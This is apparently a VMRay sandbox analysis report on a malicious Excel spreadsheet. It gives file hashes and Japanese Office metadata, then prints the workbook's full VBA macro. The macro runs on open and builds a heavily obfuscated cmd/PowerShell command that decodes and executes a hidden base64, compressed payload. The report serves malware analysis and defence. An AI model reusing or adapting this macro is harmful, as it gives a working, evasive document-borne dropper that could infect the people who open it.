c5e3ea84...ba3a | Files
Try VMRay Analyzer
VTI SCORE: 92/100
Dynamic Analysis Report
Classification: -

c5e3ea84d2367239a3edff9074158e7af13b95edbc87d576c8d97e2536f3ba3a (SHA256)

3D_5684_DOC20181101014.xls_.xls

Excel Document

Created at 2018-11-01 09:26:00

Filters:
Filename Category Type Severity Actions
C:\Users\aETAdzjz\Desktop\3D_5684_DOC20181101014.xls_.xls Sample File Excel Document
Unknown
»
Mime Type application/vnd.ms-excel
File Size 68.00 KB
MD5 e7fb10b7ba0d4f761ad323b88ed69689 Copy to Clipboard
SHA1 047d9e57f88c84c019f9112bae8d562bdc83aadd Copy to Clipboard
SHA256 c5e3ea84d2367239a3edff9074158e7af13b95edbc87d576c8d97e2536f3ba3a Copy to Clipboard
SSDeep 1536:YE+km4OrZTPVbJhr1TBL602MCspTZsxEtjPOtioVjDGUU1qfDlaGGx+cL2Qn+O1I:YE+km4OrZbVbJhr1TBL602MCspTZsxEG Copy to Clipboard
Office Information
»
Creator ユーザー
Create Time 2017-06-20 07:25:14+00:00
Modify Time 2018-11-01 08:49:04+00:00
Document Information
»
Application Microsoft Excel
App Version 14.0
Company コーポレーション
Document Security SecurityFlag.NONE
Heading Pairs Worksheets
Titles Of Parts 見積り
scale_crop False
shared_doc False
VBA Macros (1)
»
Macro #1: ThisWorkbook
»
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True























































Function tess()
tess = "^e1hjBC^Xsd1^fexS2i)&& (  ,(s^ET  ^ ^rj^UN=ni)  , )& ( (SE^t  ^H8^O=^QBL^9tiq^E^M^8^utN)  ,,  ,  )&  (,(s^et bC^0=h^K)  ,)&&  (  , , ,,  ,  (s^ET ^cI=^(^ ^`$^_""""\"""" ) ,  )&& (,  ,, (^S^et  ^ID=^21^]+),  )&&(^sET  ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&&  (  , (^SEt ^  Ea^u=S) ,  )&(  ,(^s^Et ^Z^HTE=0^f),  , ,  ,  ,  )&(^S^eT ^cN^Vz=^L1)&  (^se^t ^oP8=p)& (  ,(^SeT  ^ UQ7^k=^s^e64sTrIN),  )&&  (,  , , ,  , (SE^T  ^ ^7^2=^cP^V)  ,  , ,  , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )&  (Se^T ^ X^j=+^ )&&(  ,(S^eT ^Eh^p=^-ExEC^Ut ) ,  )&  ( ,(^S^et  ^h^g=+ """"\""""[^sys^t^E^M^.^t),  )&  (  , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6)  ,,, , ,)&  (^seT ^ ^R5qC=^'^)^()& (,  (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&&  (,  (se^t  ^ ^olr8=^})  ,  )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t  S^Y^s^T^EM)&& (, (^Set  ^ J^V^w=^od^E)  ,  )&(^s^ET g^I=p^b^RXN^T^S)&&  (^Set ^ us6=+00^z)& ( , , ,  (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)"
End Function
Function torro()
torro = "^T  ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=fo" + "RE^ach^-)&&(^SeT ^  ^dv=D)&( , (Se^T  ^ ^6rH^Y=^5+8) , ,,  ,  ,  )&&(  ,  ,  , (^Se^T ^ dn=Y/D^6)  ,  )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ys" + "Te^m." + "I^O.ME),  ,,,  , )&&  (  ,(s^E^T ^ ^G5Q1=-^wINDO^w),  )&(  , ,,  (s^ET 7z=o^CESs^  )  ,  )& (^SeT   bO^q=^o^.stRe" + "AMRE^ADeR)&&  (  , (Se^T ^DG=s^uB4) ,)&&(  ,  (sE^t LI^j=^dap^D0) , )&  (SE^t a^Xch=Ho^M^e)&& (S^Et  ^ ^Z13= """"\""""^(n)&&(,  (s^ET e^q=^7)  , , , )&&  ( , (s^et eZ^P=o)  , )&&(  , (s^ET  DQ=sHO^M^e)  ,,, ,,  )&& (s^ET ^  r^M=W^M^IC.)&  ( (^SET uq^LY=]::^d^EC),  , ,  )&& ( (s^ET  ^ l^6e=b^1)  , )&&  (sE^t  P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, ,  , ,  )&&  (^S^Et  ^ Zz^t=g^klAj)&& (^sEt  s^O= ^'CA^ll'^ ^'cRe^Ate^' """"^po)& (^SeT  ^ q^2=0v^5W)&&(^se^T  ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t  ^ Co^Jf=^e)  ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET  ^ ^z^RJ=^K5) , , )&&  (^SeT J^6=^Fjr^iXLMf5)&  ( , (s^ET ^  J^Z=1^z)  ,,  ,, , )&&  (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( ,  ,,,  ,"
End Function
Sub DnullS()
talljo = "^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR%%m^Lwq%%^lPo%%^i8T3%%^bn%%^OZ%%g^BQ%%^I^r%%D^vI%%^VDG%%J^V^w%%uq^LY%%l^V^p%%G^U%%LI%%3^M^K^1%%0^A%%q^G%%bO^q%%^cI%%X^j%%^3R^Y%%bI^He%%^cOyd%%^h^g%%l^R%%^dv%%^rp%%q^X%%^olr8%%o^JV%%^A2%%cni^h%%I^G4^Q%%8^i47%%c2^Q%%3^C^he%%O^c^W^L%%^oP8%%DQ%%b^HT%%^ID%%e5^S%%p^v%& ,, ^c%pROgraMDaTA:~ 9,  -4%d, , /%programfILES:~  7,  -8% ,%q4j^:""""^=!^pVZ:^~  ^1!%"""
Call Shell(omran + torro + vicking + tess + serena + talljo, 14 - 14)
End Sub
Function vicking()
vicking = "  (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )&  (se^T g^BQ=s^i)& (^seT ^  ^aMG=^u)&  ( , ,, (^sE^T ^ ^aw^yI=^l) ,  )&(  ,  (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et  uU^H=n^ ^   ^^^&^ ^(^ ),  )&& (  , (S^Et  o^JV=^^^|^ fOR),)&&  (^S^e^t v^Z^c=$^p^S)&& (s^et  ^ ^g^Vkp=^6)& (  , (SE^T  ^CY=^4)  ,  )&&  (S^et 9c^u^B=^ )&&  (se^t ^ ^Rz=^SS )&&  (s^et ^  z^R=^G4G^u^tW)&&(  ,  (se^T ^  gx^b=b^Yp)  ,)& (  , (SE^t ^ ^a^g=z^P), )&&(, ,  ,  , , (S^eT sZ^G=Nt^Er^ac  ^-),  )&  (  ,  (^sEt l^V^p=^OmPre^S^s^ ^)^ )  ,)&  ( ,(^S^ET  x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO)  ,)&& (se^T  ^ c^g=W^e^r^SH^e^ll^ -N^O)&&  (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^  Sq^5^s=Mo^RY^S^T^" + "RE^a^m] ^[C^O" + "n^vER),  )&&  ( , (s^ET x^S=^re^ss^i),  )& (S^eT p^v=^) """")&& (  ,  , ,  , ,(Se^t  ^ I^G4^Q=^CT), )&&( ,  (S^ET ^  B^9s=^exe  pR) ,)&  (, (sE^T ^s^Hnp=0M^y),  ,  ,  )&& (, (sE^T  ^ ^Je=^m8)  ,  )&  (Se^t ^  bv=fa^qfNGZQobl^CJ^p)&&( ,  (se^T ^  q8=^v^v)  , )&& (Se^T  ^ ^S^l=Q^VH^cO8"
End Function
Function serena()
serena = "&(, (s^eT JG^A=T^]::), )&&(se^T  ^ L^b=ho^M^E[34]+)&&  ^sEt   p^VZ=""""&(,  (^seT ^ ^6vzH=a) , )&(  ,  (S^eT ^u5=^E3Kyvr^/E) ,)&&(  ,(^seT  ^rp=^iN^G]::^aS^C),  ,  ,  )&  ( ,(Set  m^Lwq=U^5^EyC^8^='^)""""\"""" + ),  , , )&&  (S^ET ^  ^bn=^)^  ^+ """"\""""^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T  ^ G^U=^^^|^ )&&  (S^et ^ b^HT=[)&(  , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^))  ,,  ,)&( ,(se^t  ^i8T3=^(),)&&  (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , ,  (sE^t ^  Eh=Z^ttA),  ,,  ,, )&  (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T  ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , ,  , ,(SE^T  3^y=I^hv)  , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&&  , ca^LL ,, SeT   q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e"
End Function
Function omran()
omran = tremors + "^remtR5^Aix)&&  (^s^e^t c^WSV=^A^rm^U)&&  (Se^T  ^ ^BW7=^XV)&(  ,, , ,,  (^SEt  ^ C^ij=^vQN)  ,  ,,  )& (Set q^X=^i^I^))&&( ,  (^set  ^ 8^i47=^ ^{`$_),  ,,  )&&(^s^Et  ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&&  (^SEt ^q0^C^c=^9)&&  (SE^T ^  ^OZ=.Co^MpR^ES)&(  , ,  , ,, (s^E^T ^ ^ ^U19=e^a) , , )&(  , (set   ^8R=O) , )&&(  ,(SE^T ^  ^xm=^h) )&&  (  , (^s^e^t v^F=^s  ^h^i^dDe),  )& (S^e^t  ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( ,  ,  ,(S^E^T ^a^z8=N.^D^efLa^tesTR) ,  )&  (^SET  ^ b^1=^M^()&&  (s^eT ^ D^RKS=FI^l^E^  -NoL^ogO  )&&  (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&&  (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)""""^\"""" ),  ,  ,  )& (^se^t b^aCI=4k^Bwy)&&  (,, , (sE^T ^  ^LK=f^R^o^m^ba), )&&(sE^t   ^lPo=^([C^hAr]44^).T^oSTRIng)&& (,  (s^Et Op^1=4)  ,  )&&(se"
End Function
Sub Workbook_Open()
DnullS
End Sub
Function tremors()
tremors = Replace("$c$md$ /$c C%P$rOGR$aM$FI$l$ES:~ $ -7,1%$D,  , /V$:$O$$n ,$,/$%aP$" + "P$d" + "A$ta:~-7$,1% "" , (S$e^T$ j1=^E$w-ob$je^$$ct $I^o$$.c^$$OM$$p)&  (^s$ET$ ^ ^J^F$^O6=G^('VZ$Bba8^IwGI$b/^Sp$A^O^E", "$", "")
End Function
Function Logfile
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".


    
Before

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".


    
After

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".


    
Screenshot
Expand-Icon
Exit-Icon
icon_left
icon_left
image